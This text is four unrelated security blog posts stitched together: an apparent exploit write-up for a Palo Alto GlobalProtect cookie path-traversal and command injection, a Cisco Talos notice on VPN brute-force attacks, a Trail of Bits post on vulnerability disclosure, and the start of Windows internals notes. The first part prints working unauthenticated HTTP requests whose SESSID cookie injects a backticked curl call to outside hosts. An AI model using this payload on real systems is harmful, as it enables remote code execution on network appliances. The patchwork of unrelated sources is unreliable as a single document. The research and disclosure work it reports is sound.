The mention of ‘GlobalProtect’ is pivotal here - this is Palo Alto’s SSLVPN implementation, and finally, my kneejerk reaction to turn off all telemetry on everything I own is validated! A real vuln that depends on device telemetry!

While the above was correct at the time of writing, Palo Alto have now confimed that telemetry is not required to exploit this vulnerability. Thanks to the Palo Alto employee that reached out to update us that this is an even bigger mess than first thought.

Our Approach To Analysis

As always, our journey begins with a hop, skip and jump to Amazon’s AWS Marketplace to get our hands on a shiny new box to play with.

Fun fact: partway through our investigations, Palo Alto took the step of removing the vulnerable version of their software from the AWS Marketplace - so if you’re looking to follow along with our research at home, you may find doing so quite difficult.

Accessing The File System

Anyway, once you get hold of a running VM in an EC2, it is trivial to access the device’s filesytem. No disk encryption is at play here, which means we can simply boot the appliance from a Linux root filesystem and mount partitions to our heart’s content.

The filesystem layout doesn’t pack any punches, either. There’s the usual nginx setup, with one configuration file exposing GlobalProtect URLs and proxying them to a service listening on the loopback interface via the proxypass directive, while another configuration file exposes the management UI:

location ~ global-protect/(prelogin|login|getconfig|getconfig_csc|satelliteregister|getsatellitecert|getsatelliteconfig|getsoftwarepage|logout|logout_page|gpcontent_error|get_app_info|getmsi|portal\\/portal|portal/consent).esp$ {
    include gp_rule.conf;
    proxy_pass   http://$server_addr:20177;
}

There’s a handy list of endpoints there, allowing us to poke around without even cracking open the handler binary.

With the bug class as it is - command injection - it’s always good to poke around and try our luck with some easy injections, but to no avail here. It’s time to crack open the hander for this mysterious service. What provides it?

Well, it turns out that it is handled by the gpsvc binary. This makes sense, it being the Global Protect service. We plopped this binary into the trusty IDA Pro, expecting a long and hard voyage of reversing, only to be greeted with a welcome break:

Debug symbols! Wonderful! This will make reversing a lot easier, and indeed, those symbols are super-useful.

Our first call, somewhat obviously, is to find references to the system call (and derivatives), but there’s no obvious injection point here. We’re looking at something more subtle than a straightforward command injection.

Unmarshal Reflection

Our big break occurred when we noticed some weird behavior when we fed the server a malformed session ID. For example, using the session value Cookie: SESSID=peekaboo; and taking a look at the logs, we can see a somewhat-opaque clue:

{"level":"error","task":"1393405-22","time":"2024-04-16T06:21:51.382937575-07:00","message":"failed to unmarshal session(peekaboo) map , EOF"}

An EOF? That kind-of makes sense, since there’s no session with this key. The session-store mechanism has failed to find information about the session. What happens, though, if we pass in a value containing a slash? Let’s try Cookie: SESSID=foo/bar;:

2024-04-16 06:19:34 {"level":"error","task":"1393401-22","time":"2024-04-16T06:19:34.32095066-07:00","message":"failed to load file /tmp/sslvpn/session_foo/bar,

Huh, what’s going on here? Is this some kind of directory traversal?! Let’s try our luck with our old friend .. , supplying the cookie Cookie: SESSID=/../hax;:

2024-04-16 06:24:48 {"level":"error","task":"1393411-22","time":"2024-04-16T06:24:48.738002019-07:00","message":"failed to unmarshal session(/../hax) map , EOF"}

Ooof, are we traversing the filesystem here? Maybe there’s some kind of file write possible. Time to crack open that disassembly and take a look at what’s going on. Thanks to the debug symbols this is a quick task, as we quickly find the related symbols:

.rodata:0000000000D73558                 dq offset main__ptr_SessDiskStore_Get
.rodata:0000000000D73560                 dq offset main__ptr_SessDiskStore_New
.rodata:0000000000D73568                 dq offset main__ptr_SessDiskStore_Save

Great. Let’s give main__ptr_SessDiskStore_New a gander. We can quickly see how the session ID is concatenated into a file path unsafely:

    path = s->path;
    store_8e[0].str = (uint8 *)"session_";
    store_8e[0].len = 8LL;
    store_8e[1] = session->ID;
    fmt_24 = runtime_concatstring2(0LL, *(string (*)[2])&store_8e[0].str);
    *((_QWORD *)&v71 + 1) = fmt_24.len;
    if ( *(_DWORD *)&runtime_writeBarrier.enabled )
      runtime_gcWriteBarrier();
    else
      *(_QWORD *)&v71 = fmt_24.str;
    stored.array = (string *)&path;
    stored.len = 2LL;
    stored.cap = 2LL;
    filename = path_filepath_Join(stored);

Later on in the function, we can see that the binary will - somewhat unexpectedly - create the directory tree that it attempts to read the file containing session information from.

      if ( os_IsNotExist(fmta._r2) )
      {
        store_8b = (github_com_gorilla_sessions_Store_0)net_http__ptr_Request_Context(r);
        ctxb = store_8b.tab;
        v52 = runtime_convTstring((string)s->path);
        v6 = (_1_interface_ *)runtime_newobject((runtime__type_0 *)&RTYPE__1_interface_);
        v51 = (interface__0 *)v6;
        (*v6)[0].tab = (void *)&RTYPE_string_0;
        if ( *(_DWORD *)&runtime_writeBarrier.enabled )
          runtime_gcWriteBarrier();
        else
          (*v6)[0].data = v52;
        storee.tab = ctxb;
        storee.data = store_8b.data;
        fmtb.str = (uint8 *)"folder is missing, create folder %s";
        fmtb.len = 35LL;
        fmt_16a.array = v51;
        fmt_16a.len = 1LL;
        fmt_16a.cap = 1LL;
        paloaltonetworks_com_libs_common_Warn(storee, fmtb, fmt_16a);
        err_1 = os_MkdirAll((string)s->path, 0644u);

This is interesting, and clearly we’ve found a ‘bug’ in the true sense of the word - but have we found a real, exploitable vulnerability?

All that this function gives us is the ability to create a directory structure, with a zero-length file at the bottom level.

We don’t have the ability to put anything in this file, so we can’t simply drop a webshells or anything.

We can cause some havoc by accessing various files in /dev - adventurous (reckless?) tests supplied /dev/nvme0n1 as the cookie file, causing the device to rapidly OOM, but verifying that we could read files as the superuser, not as a limited user.

Arbitrary File Write

Unmarshalling the local file via the user input that we control in the SESSID cookie takes place as root, and with read and write privileges. An unintended consequence is that should the requested file not exist, the file system creates a zero-byte file in its place with the filename intact.

We can verify this is the case by writing a file to the webroot of the appliance, in a location we can hit from an unauthenticated perspective, with the following HTTP request (and loaded SESSID cookie value).

POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: hostname
Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/watchtowr.txt;

When we attempt to then retrieve the file we previously attempted to create with a simple HTTP request, the web server responds with a 403 status code instead of a 404 status code, indicating that the file has been created. It should be noted that the file is created using root privileges, and as such, it is not possible to view its contents. But, who cares—it's a zero-byte file anyway.

This is in line with the analysis provided by various threat intelligence vendors, which gave us confidence that we were on the right track. But what now?

Telemetry Python

As we discussed further above - a fairly important detail within the advisory description explains that only devices which have telemetry enabled are vulnerable to command injection. But, our above SESSID shenanigans are not influenced by telemetry being enabled or disabled, and thus decided to dive further (and have another 5+ RedBulls).

Without getting too gritty with the code just yet, we observed from appliance logs that we had access to, that every so often telemetry functionality was running on a cronjob and ingesting log files within the appliance. This telemetry functionality then fed this data to Palo Alto servers, who were probably observing both threat actors and ourselves playing around (”Hi Palo Alto!”).

Within the logs that we were reviewing, a certain element stood out - the logging of a full shell command, detailing the use of curl to send logs to Palo Alto from a temporary directory:

24-04-16 02:28:05,060 dt INFO S2: XFILE: send_file: curl cmd: '/usr/bin/curl -v -H "Content-Type: application/octet-stream" -X PUT "<https://storage.googleapis.com/bulkreceiver-cdl-prd1-sg/telemetry/><SERIAL_NO>/2024/04/16/09/28//opt/panlogs/tmp/device_telemetry/minute/PA_<SERIAL_NO>_dt_11.1.2_20240416_0840_5-min-interval_MINUTE.tgz?GoogleAccessId=bulkreceiver-frontend-sg-prd@cdl-prd1-sg.iam.gserviceaccount.com&Expires=1713260285&Signature=<truncated>" --data-binary @/opt/panlogs/tmp/device_telemetry/minute/PA_<SERIAL_NO>_dt_11.1.2_20240416_0840_5-min-interval_MINUTE.tgz --capath /tmp/capath'

We were able to trace this behaviour to the Python file /p2/usr/local/bin/dt_curl on line #518:

if source_ip_str is not None and source_ip_str != "": 
        curl_cmd = "/usr/bin/curl -v -H \\"Content-Type: application/octet-stream\\" -X PUT \\"%s\\" --data-binary @%s --capath %s --interface %s" \\
                     %(signedUrl, fname, capath, source_ip_str)
    else:
        curl_cmd = "/usr/bin/curl -v -H \\"Content-Type: application/octet-stream\\" -X PUT \\"%s\\" --data-binary @%s --capath %s" \\
                     %(signedUrl, fname, capath)
    if dbg:
        logger.info("S2: XFILE: send_file: curl cmd: '%s'" %curl_cmd)
    stat, rsp, err, pid = pansys(curl_cmd, shell=True, timeout=250)

The string curl_cmd is fed through a custom library pansys which eventually calls pansys.dosys() in /p2/lib64/python3.6/site-packages/pansys/pansys.py line #134:

    def dosys(self, command, close_fds=True, shell=False, timeout=30, first_wait=None):
        """call shell-command and either return its output or kill it
           if it doesn't normally exit within timeout seconds"""
    
        # Define dosys specific constants here
        PANSYS_POST_SIGKILL_RETRY_COUNT = 5

        # how long to pause between poll-readline-readline cycles
        PANSYS_DOSYS_PAUSE = 0.1

        # Use first_wait if time to complete is lengthy and can be estimated 
        if first_wait == None:
            first_wait = PANSYS_DOSYS_PAUSE

        # restrict the maximum possible dosys timeout
        PANSYS_DOSYS_MAX_TIMEOUT = 23 * 60 * 60
        # Can support upto 2GB per stream
        out = StringIO()
        err = StringIO()

        try:
            if shell:
                cmd = command
            else:
                cmd = command.split()
        except AttributeError: cmd = command

        p = subprocess.Popen(cmd, stdout=subprocess.PIPE, bufsize=1, shell=shell,
                 stderr=subprocess.PIPE, close_fds=close_fds, universal_newlines=True)
        timer = pansys_timer(timeout, PANSYS_DOSYS_MAX_TIMEOUT)

As those who are gifted with sight can likely see, this command is eventually pushed through subprocess.Popen() . This is a known function for executing commands (..), and naturally becomes dangerous when handling user input - therefore, by default Palo Alto set shell=False within the function definition to inhibit nefarious behaviour/command injection.

Luckily for us, that became completely irrelevant when the function call within dt_curl overwrote this default and set shell=True when calling the function.

Naturally, this began to look like a great place to leverage command injection, and thus, we were left with the challenge of determining whether our ability to create zero-byte files was relevant.

Without trying to trace code too much, we decided to upload a file to a temporary directory utilised by the telemetry functionality (/opt/panlogs/tmp/device_telemetry/minute/) to see if this would be utilised, and reflected within the resulting curl shell command.

Using a simple filename of “hellothere” within the SESSID value of our unauthenticated HTTP request:

POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: <Hostname>
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere

As luck would have it, within the device logs, our flag is reflected within the curl shell command:

24-04-16 01:33:03,746 dt INFO S2: XFILE: send_file: curl cmd: '/usr/bin/curl -v -H "Content-Type: application/octet-stream" -X PUT "<https://storage.googleapis.com/bulkreceiver-cdl-prd1-sg/telemetry/><serial-no>/2024/04/16/08/33//opt/panlogs/tmp/device_telemetry/minute/hellothere?GoogleAccessId=bulkreceiver-frontend-sg-prd@cdl-prd1-sg.iam.gserviceaccount.com&Expires=1713256984&Signature=<truncated>" --data-binary @/opt/panlogs/tmp/device_telemetry/minute/**hellothere** --capath /tmp/capath'

At this point, we’re onto something - we have an arbitrary value in the shape of a filename being injected into a shell command. Are we on a path to receive angry tweets again?

We played around within various payloads till we got it right, the trick being that spaces were being truncated at some point in the filename's journey - presumably as spaces aren't usually allowed in cookie values.

To overcome this, we drew on our old-school UNIX knowledge and used the oft-abused shell variable IFS as a substitute for actual spaces. This allowed us to demonstrate control and gain command execution by executing a Curl command that called out to listening infrastructure of our own!

Here is an example SESSID payload:

Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}x1.outboundhost.com`;

And the associated log, demonstrating our injected curl command:

24-04-16 02:28:07,091 dt INFO S2: XFILE: send_file: curl cmd: '/usr/bin/curl -v -H "Content-Type: application/octet-stream" -X PUT "<https://storage.googleapis.com/bulkreceiver-cdl-prd1-sg/telemetry/><serial-no>/2024/04/16/09/28//opt/panlogs/tmp/device_telemetry/minute/hellothere226%60curl%24%7BIFS%7Dx1.outboundhost.com%60?GoogleAccessId=bulkreceiver-frontend-sg-prd@cdl-prd1-sg.iam.gserviceaccount.com&Expires=1713260287&Signature=<truncated>" --data-binary @/opt/panlogs/tmp/device_telemetry/minute/hellothere226**`curl${IFS}x1.outboundhost.com**` --capath /tmp/capath'

Proof of Concept

At watchTowr, we no longer publish Proof of Concepts. Why prove something is vulnerable when we can just believe it's so?

Instead, we've decided to do something better - that's right! We're proud to release another detection artefact generator tool, this time in the form of an HTTP request:

POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: watchtowr.com
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere`curl${IFS}where-are-the-sigma-rules.com`;
Content-Type: application/x-www-form-urlencoded
Content-Length: 158

user=watchTowr&portal=watchTowr&authcookie=e51140e4-4ee3-4ced-9373-96160d68&domain=watchTowr&computer=watchTowr&client-ip=watchTowr&client-ipv6=watchTowr&md5-sum=watchTowr&gwHipReportCheck=watchTowr

As we can see, we inject our command injection payload into the SESSID cookie value - which, when a Palo Alto GlobalProtect appliance has telemetry enabled - is then concatenated into a string and ultimately executed as a shell command.

Something-something-sophistication-levels-only-achievable-by-a-nation-state-something-something.

Conclusion

It’s April. It’s the second time we’ve posted. It’s also the fourth time we’ve written a blog post about an SSLVPN vulnerability in 2024 alone. That's an average of once a month.

As we said above, we have no doubt that there will be mixed opinions about the release of this analysis - but, patches and mitigations are available from Palo Alto themselves, and we should not be forced to live in a world where only the “bad guys” can figure out if a host is vulnerable, and organisations cannot determine their exposure.

At watchTowr, we believe continuous security testing is the future, enabling the rapid identification of holistic high-impact vulnerabilities that affect your organisation.

It's our job to understand how emerging threats, vulnerabilities, and TTPs affect your organisation.

If you'd like to learn more about the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming solution, please get in touch.

Cisco Talos would like to acknowledge Brandon White of Cisco Talos and Phillip Schafer, Mike Moran, and Becca Lynch of the Duo Security Research team for their research that led to the identification of these attacks.

Cisco Talos is actively monitoring a global increase in brute-force attacks against a variety of targets, including Virtual Private Network (VPN) services, web application authentication interfaces and SSH services since at least March 18, 2024.  

These attacks all appear to be originating from TOR exit nodes and a range of other anonymizing tunnels and proxies.  

Depending on the target environment, successful attacks of this type may lead to unauthorized network access, account lockouts, or denial-of-service conditions. The traffic related to these attacks has increased with time and is likely to continue to rise. Known affected services are listed below. However, additional services may be impacted by these attacks. 

• Cisco Secure Firewall VPN 
• Checkpoint VPN  
• Fortinet VPN  
• SonicWall VPN  
• RD Web Services 
• Miktrotik 
• Draytek 
• Ubiquiti 

The brute-forcing attempts use generic usernames and valid usernames for specific organizations. The targeting of these attacks appears to be indiscriminate and not directed at a particular region or industry. The source IP addresses for this traffic are commonly associated with proxy services, which include, but are not limited to:  

• TOR   
• VPN Gate  
• IPIDEA Proxy  
• BigMama Proxy  
• Space Proxies  
• Nexus Proxy  
• Proxy Rack 

The list provided above is non-exhaustive, as additional services may be utilized by threat actors.  

Due to the significant increase and high volume of traffic, we have added the known associated IP addresses to our blocklist. It is important to note that the source IP addresses for this traffic are likely to change.

Guidance 

As these attacks target a variety of VPN services, mitigations will vary depending on the affected service. For Cisco remote access VPN services, guidance and recommendation can be found in a recent Cisco support blog:  

Best Practices Against Password Spray Attacks Impacting Remote Access VPN Services 

IOCs 

We are including the usernames and passwords used in these attacks in the IOCs for awareness. IP addresses and credentials associated with these attacks can be found in our GitHub repository here. 

By Max Ammann

This blog showcases five examples of real-world vulnerabilities that we’ve disclosed in the past year (but have not publicly disclosed before). We also share the frustrations we faced in disclosing them to illustrate the need for effective disclosure processes.

Here are the five bugs:

• Undefined behavior in the borsh-rs Rust library
• Denial-of-service (DoS) vector in Rust libraries for parsing the Ethereum ABI
• Missing limit on authentication tag length in Expo
• DoS vector in the num-bigint Rust library
• Insertion of MMKV database encryption key into Android system log with react-native-mmkv

Discovering a vulnerability in an open-source project necessitates a careful approach, as publicly reporting it (also known as full disclosure) can alert attackers before a fix is ready. Coordinated vulnerability disclosure (CVD) uses a safer, structured reporting framework to minimize risks. Our five example cases demonstrate how the lack of a CVD process unnecessarily complicated reporting these bugs and ensuring their remediation in a timely manner.

In the Takeaways section, we show you how to set up your project for success by providing a basic security policy you can use and walking you through a streamlined disclosure process called GitHub private reporting. GitHub’s feature has several benefits:

• Discreet and secure alerts to developers: no need for PGP-encrypted emails
• Streamlined process: no playing hide-and-seek with company email addresses
• Simple CVE issuance: no need to file a CVE form at MITRE

Time for action: If you own well-known projects on GitHub, use private reporting today! Read more on Configuring private vulnerability reporting for a repository, or skip to the Takeaways section of this post.

Case 1: Undefined behavior in borsh-rs Rust library

The first case, and reason for implementing a thorough security policy, concerned a bug in a cryptographic serialization library called borsh-rs that was not fixed for two years.

During an audit, I discovered unsafe Rust code that could cause undefined behavior if used with zero-sized types that don’t implement the Copy trait. Even though somebody else reported this bug previously, it was left unfixed because it was unclear to the developers how to avoid the undefined behavior in the code and keep the same properties (e.g., resistance against a DoS attack). During that time, the library’s users were not informed about the bug.

The whole process could have been streamlined using GitHub’s private reporting feature. If project developers cannot address a vulnerability when it is reported privately, they can still notify Dependabot users about it with a single click. Releasing an actual fix is optional when reporting vulnerabilities privately on GitHub.

I reached out to the borsh-rs developers about notifying users while there was no fix available. The developers decided that it was best to notify users because only certain uses of the library caused undefined behavior. We filed the notification RUSTSEC-2023-0033, which created a GitHub advisory. A few months later, the developers fixed the bug, and the major release 1.0.0 was published. I then updated the RustSec advisory to reflect that it was fixed.

The following code contained the bug that caused undefined behavior:

impl<T> BorshDeserialize for Vec<T>
where
    T: BorshDeserialize,
{
    #[inline]
    fn deserialize<R: Read>(reader: &mut R) -> Result<Self, Error> {
        let len = u32::deserialize(reader)?;
        if size_of::<T>() == 0 {
            let mut result = Vec::new();
            result.push(T::deserialize(reader)?);

            let p = result.as_mut_ptr();
            unsafe {
                forget(result);
                let len = len as usize;
                let result = Vec::from_raw_parts(p, len, len);
                Ok(result)
            }
        } else {
            // TODO(16): return capacity allocation when we can safely do that.
            let mut result = Vec::with_capacity(hint::cautious::<T>(len));
            for _ in 0..len {
                result.push(T::deserialize(reader)?);
            }
            Ok(result)
        }
    }
}

Figure 1: Use of unsafe Rust (borsh-rs/borsh-rs/borsh/src/de/mod.rs#123–150)

The code in figure 1 deserializes bytes to a vector of some generic data type T. If the type T is a zero-sized type, then unsafe Rust code is executed. The code first reads the requested length for the vector as u32. After that, the code allocates an empty Vec type. Then it pushes a single instance of T into it. Later, it temporarily leaks the memory of the just-allocated Vec by calling the forget function and reconstructs it by setting the length and capacity of Vec to the requested length. As a result, the unsafe Rust code assumes that T is copyable.

The unsafe Rust code protects against a DoS attack where the deserialized in-memory representation is significantly larger than the serialized on-disk representation. The attack works by setting the vector length to a large number and using zero-sized types. An instance of this bug is described in our blog post Billion times emptiness.

Case 2: DoS vector in Rust libraries for parsing the Ethereum ABI

In July, I disclosed multiple DoS vulnerabilities in four Ethereum API–parsing libraries, which were difficult to report because I had to reach out to multiple parties.

The bug affected four GitHub-hosted projects. Only the Python project eth_abi had GitHub private reporting enabled. For the other three projects (ethabi, alloy-rs, and ethereumjs-abi), I had to research who was maintaining them, which can be error-prone. For instance, I had to resort to the trick of getting email addresses from maintainers by appending the suffix .patch to GitHub commit URLs. The following link shows the non-work email address I used for committing:

https://github.com/trailofbits/publications/commit/a2ab5a1cab59b52c4fa
71b40dae1f597bc063bdf.patch

In summary, as the group of affected vendors grows, the burden on the reporter grows as well. Because you typically need to synchronize between vendors, the effort does not grow linearly but exponentially. Having more projects use the GitHub private reporting feature, a security policy with contact information, or simply an email in the README file would streamline communication and reduce effort.

Read more about the technical details of this bug in the blog post Billion times emptiness.

Case 3: Missing limit on authentication tag length in Expo

In late 2022, Joop van de Pol, a security engineer at Trail of Bits, discovered a cryptographic vulnerability in expo-secure-store. In this case, the vendor, Expo, failed to follow up with us about whether they acknowledged or had fixed the bug, which left us in the dark. Even worse, trying to follow up with the vendor consumed a lot of time that could have been spent finding more bugs in open-source software.

When we initially emailed Expo about the vulnerability through the email address listed on its GitHub, [email protected], an Expo employee responded within one day and confirmed that they would forward the report to their technical team. However, after that response, we never heard back from Expo despite two gentle reminders over the course of a year.

Unfortunately, Expo did not allow private reporting through GitHub, so the email was the only contact address we had.

Now to the specifics of the bug: on Android above API level 23, SecureStore uses AES-GCM keys from the KeyStore to encrypt stored values. During encryption, the tag length and initialization vector (IV) are generated by the underlying Java crypto library as part of the Cipher class and are stored with the ciphertext:

/* package */ JSONObject createEncryptedItem(Promise promise, String plaintextValue, Cipher cipher, GCMParameterSpec gcmSpec, PostEncryptionCallback postEncryptionCallback) throws GeneralSecurityException, JSONException {

  byte[] plaintextBytes = plaintextValue.getBytes(StandardCharsets.UTF_8);
  byte[] ciphertextBytes = cipher.doFinal(plaintextBytes);
  String ciphertext = Base64.encodeToString(ciphertextBytes, Base64.NO_WRAP);

  String ivString = Base64.encodeToString(gcmSpec.getIV(), Base64.NO_WRAP);
  int authenticationTagLength = gcmSpec.getTLen();

  JSONObject result = new JSONObject()
    .put(CIPHERTEXT_PROPERTY, ciphertext)
    .put(IV_PROPERTY, ivString)
    .put(GCM_AUTHENTICATION_TAG_LENGTH_PROPERTY, authenticationTagLength);

  postEncryptionCallback.run(promise, result);

  return result;
}

Figure 2: Code for encrypting an item in the store, where the tag length is stored next to the cipher text (SecureStoreModule.java)

For decryption, the ciphertext, tag length, and IV are read and then decrypted using the AES-GCM key from the KeyStore.

An attacker with access to the storage can change an existing AES-GCM ciphertext to have a shorter authentication tag. Depending on the underlying Java cryptographic service provider implementation, the minimum tag length is 32 bits in the best case (this is the minimum allowed by the NIST specification), but it could be even lower (e.g., 8 bits or even 1 bit) in the worst case. So in the best case, the attacker has a small but non-negligible probability that the same tag will be accepted for a modified ciphertext, but in the worst case, this probability can be substantial. In either case, the success probability grows depending on the number of ciphertext blocks. Also, both repeated decryption failures and successes will eventually disclose the authentication key. For details on how this attack may be performed, see Authentication weaknesses in GCM from NIST.

From a cryptographic point of view, this is an issue. However, due to the required storage access, it may be difficult to exploit this issue in practice. Based on our findings, we recommended fixing the tag length to 128 bits instead of writing it to storage and reading it from there.

The story would have ended here since we didn’t receive any responses from Expo after the initial exchange. But in our second email reminder, we mentioned that we were going to publicly disclose this issue. One week later, the bug was silently fixed by limiting the minimum tag length to 96 bits. Practically, 96 bits offers sufficient security. However, there is also no reason not to go with the higher 128 bits.

The fix was created exactly one week after our last reminder. We suspect that our previous email reminder led to the fix, but we don’t know for sure. Unfortunately, we were never credited appropriately.

Case 4: DoS vector in the num-bigint Rust library

In July 2023, Sam Moelius, a security engineer at Trail of Bits, encountered a DoS vector in the well-known num-bigint Rust library. Even though the disclosure through email worked very well, users were never informed about this bug through, for example, a GitHub advisory or CVE.

The num-bigint project is hosted on GitHub, but GitHub private reporting is not set up, so there was no quick way for the library author or us to create an advisory. Sam reported this bug to the developer of num-bigint by sending an email. But finding the developer’s email is error-prone and takes time. Instead of sending the bug report directly, you must first confirm that you’ve reached the correct person via email and only then send out the bug details. With GitHub private reporting or a security policy in the repository, the channel to send vulnerabilities through would be clear.

But now let’s discuss the vulnerability itself. The library implements very large integers that no longer fit into primitive data types like i128. On top of that, the library can also serialize and deserialize those data types. The vulnerability Sam discovered was hidden in that serialization feature. Specifically, the library can crash due to large memory consumption or if the requested memory allocation is too large and fails.

The num-bigint types implement traits from Serde. This means that any type in the crate can be serialized and deserialized using an arbitrary file format like JSON or the binary format used by the bincode crate. The following example program shows how to use this deserialization feature:

use num_bigint::BigUint;
use std::io::Read;

fn main() -> std::io::Result<()> {
    let mut buf = Vec::new();
    let _ = std::io::stdin().read_to_end(&mut buf)?;
    let _: BigUint = bincode::deserialize(&buf).unwrap_or_default();
    Ok(())
}

Figure 3: Example deserialization format

It turns out that certain inputs cause the above program to crash. This is because implementing the Visitor trait uses untrusted user input to allocate a specific vector capacity. The following figure shows the lines that can cause the program to crash with the message memory allocation of 2893606913523067072 bytes failed.

impl<'de> Visitor<'de> for U32Visitor {
    type Value = BigUint;

    {...omitted for brevity...}

    #[cfg(not(u64_digit))]
    fn visit_seq<S>(self, mut seq: S) -> Result<Self::Value, S::Error>
    where
        S: SeqAccess<'de>,
    {
        let len = seq.size_hint().unwrap_or(0);
        let mut data = Vec::with_capacity(len);

        {...omitted for brevity...}
    }

    #[cfg(u64_digit)]
    fn visit_seq<S>(self, mut seq: S) -> Result<Self::Value, S::Error>
    where
        S: SeqAccess<'de>,
    {
        use crate::big_digit::BigDigit;
        use num_integer::Integer;

        let u32_len = seq.size_hint().unwrap_or(0);
        let len = Integer::div_ceil(&u32_len, &2);
        let mut data = Vec::with_capacity(len);

        {...omitted for brevity...}
    }
}

Figure 4: Code that allocates memory based on user input (num-bigint/src/biguint/serde.rs#61–108)

We initially contacted the author on July 20, 2023, and the bug was fixed in commit 44c87c1 on August 22, 2023. The fixed version was released the next day as 0.4.4.

Case 5: Insertion of MMKV database encryption key into Android system log with react-native-mmkv

The last case concerns the disclosure of a plaintext encryption key in the react-native-mmkv library, which was fixed in September 2023. During a secure code review for a client, I discovered a commit that fixed an untracked vulnerability in a critical dependency. Because there was no security advisory or CVE ID, neither I nor the client were informed about the vulnerability. The lack of vulnerability management caused a situation where attackers knew about a vulnerability, but users were left in the dark.

During the client engagement, I wanted to validate how the encryption key was used and handled. The commit fix: Don’t leak encryption key in logs in the react-native-mmkv library caught my attention. The following code shows the problematic log statement:

MmkvHostObject::MmkvHostObject(const std::string& instanceId, std::string path,
                               std::string cryptKey) {
  __android_log_print(ANDROID_LOG_INFO, "RNMMKV",
                      "Creating MMKV instance \"%s\"... (Path: %s, Encryption-Key: %s)",
                      instanceId.c_str(), path.c_str(), cryptKey.c_str());
  std::string* pathPtr = path.size() > 0 ? &path : nullptr;
  {...omitted for brevity...}

Figure 5: Code that initializes MMKV and also logs the encryption key

Before that fix, the encryption key I was investigating was printed in plaintext to the Android system log. This breaks the threat model because this encryption key should not be extractable from the device, even with Android debugging features enabled.

With the client’s agreement, I notified the author of react-native-mmkv, and the author and I concluded that the library users should be informed about the vulnerability. So the author enabled private reporting and together we published a GitHub advisory. The ID CVE-2024-21668 was assigned to the bug. The advisory now alerts developers if they use a vulnerable version of react-native-mmkv when running npm audit or npm install.

This case highlights that there is basically no way around GitHub advisories when it comes to npm packages. The only way to feed the output of the npm audit command is to create a GitHub advisory. Using private reporting streamlines that process.

Takeaways

GitHub’s private reporting feature contributes to securing the software ecosystem. If used correctly, the feature saves time for vulnerability reporters and software maintainers. The biggest impact of private reporting is that it is linked to the GitHub advisory database—a link that is missing, for example, when using confidential issues in GitLab. With GitHub’s private reporting feature, there is now a process for security researchers to publish to that database (with the approval of the repository maintainers).

The disclosure process also becomes clearer with a private report on GitHub. When using email, it is unclear whether you should encrypt the email and who you should send it to. If you’ve ever encrypted an email, you know that there are endless pitfalls.

However, you may still want to send an email notification to developers or a security contact, as maintainers might miss GitHub notifications. A basic email with a link to the created advisory is usually enough to raise awareness.

Step 1: Add a security policy

Publishing a security policy is the first step towards owning a vulnerability reporting process. To avoid confusion, a good policy clearly defines what to do if you find a vulnerability.

GitHub has two ways to publish a security policy. Either you can create a SECURITY.md file in the repository root, or you can create a user- or organization-wide policy by creating a .github repository and putting a SECURITY.md file in its root.

We recommend starting with a policy generated using the Policymaker by disclose.io (see this example), but replace the Official Channels section with the following:

We have multiple channels for receiving reports:

* If you discover any security-related issues with a specific GitHub project, click the *Report a vulnerability* button on the *Security* tab in the relevant GitHub project: https://github.com/%5BYOUR_ORG%5D/%5BYOUR_PROJECT%5D.
* Send an email to [email protected]

Always make sure to include at least two points of contact. If one fails, the reporter still has another option before falling back to messaging developers directly.

Step 2: Enable private reporting

Now that the security policy is set up, check out the referenced GitHub private reporting feature, a tool that allows discreet communication of vulnerabilities to maintainers so they can fix the issue before it’s publicly disclosed. It also notifies the broader community, such as npm, Crates.io, or Go users, about potential security issues in their dependencies.

Enabling and using the feature is easy and requires almost no maintenance. The only key is to make sure that you set up GitHub notifications correctly. Reports get sent via email only if you configure email notifications. The reason it’s not enabled by default is that this feature requires active monitoring of your GitHub notifications, or else reports may not get the attention they require.

After configuring the notifications, go to the “Security” tab of your repository and click “Enable vulnerability reporting”:

Emails about reported vulnerabilities have the subject line “(org/repo) Summary (GHSA-0000-0000-0000).” If you use the website notifications, you will get one like this:

If you want to enable private reporting for your whole organization, then check out this documentation.

A benefit of using private reporting is that vulnerabilities are published in the GitHub advisory database (see the GitHub documentation for more information). If dependent repositories have Dependabot enabled, then dependencies to your project are updated automatically.

On top of that, GitHub can also automatically issue a CVE ID that can be used to reference the bug outside of GitHub.

This private reporting feature is still officially in beta on GitHub. We encountered minor issues like the lack of message templates and the inability of reporters to add collaborators. We reported the latter as a bug to GitHub, but they claimed that this was by design.

Step 3: Get notifications via webhooks

If you want notifications in a messaging platform of your choice, such as Slack, you can create a repository- or organization-wide webhook on GitHub. Just enable the following event type:

After creating the webhook, repository_advisory events will be sent to the set webhook URL. The event includes the summary and description of the reported vulnerability.

How to make security researchers happy

If you want to increase your chances of getting high-quality vulnerability reports from security researchers and are already using GitHub, then set up a security policy and enable private reporting. Simplifying the process of reporting security bugs is important for the security of your software. It also helps avoid researchers becoming annoyed and deciding not to report a bug or, even worse, deciding to turn the vulnerability into an exploit or release it as a 0-day.

If you use GitHub, this is your call to action to prioritize security, protect the public software ecosystem’s security, and foster a safer development environment for everyone by setting up a basic security policy and enabling private reporting.

If you’re not a GitHub user, similar features also exist on other issue-tracking systems, such as confidential issues in GitLab. However, not all systems have this option; for instance, Gitea is missing such a feature. The reason we focused on GitHub in this post is because the platform is in a unique position due to its advisory database, which feeds into, for example, the npm package repository. But regardless of which platform you use, make sure that you have a visible security policy and reliable channels set up.

I spent some time over the Christmas break least year learning the basics of Windows Internals and thought it was a good opportunity to use my naive reverse engineering skills to find answers to my own questions. This is not a blog but rather my own notes on Windows Internals. I’ll keep updating them and adding new notes as I learn more.

Windows Native API

As mentioned on Wikipedia, several native Windows API calls are implemented in ntoskernel.exe and can be accessed from user mode through ntdll.dll. The entry point of NTDLL is LdrInitializeThunk and native API calls are handled by the Kernel via the System Service Descriptor Table (SSDT).

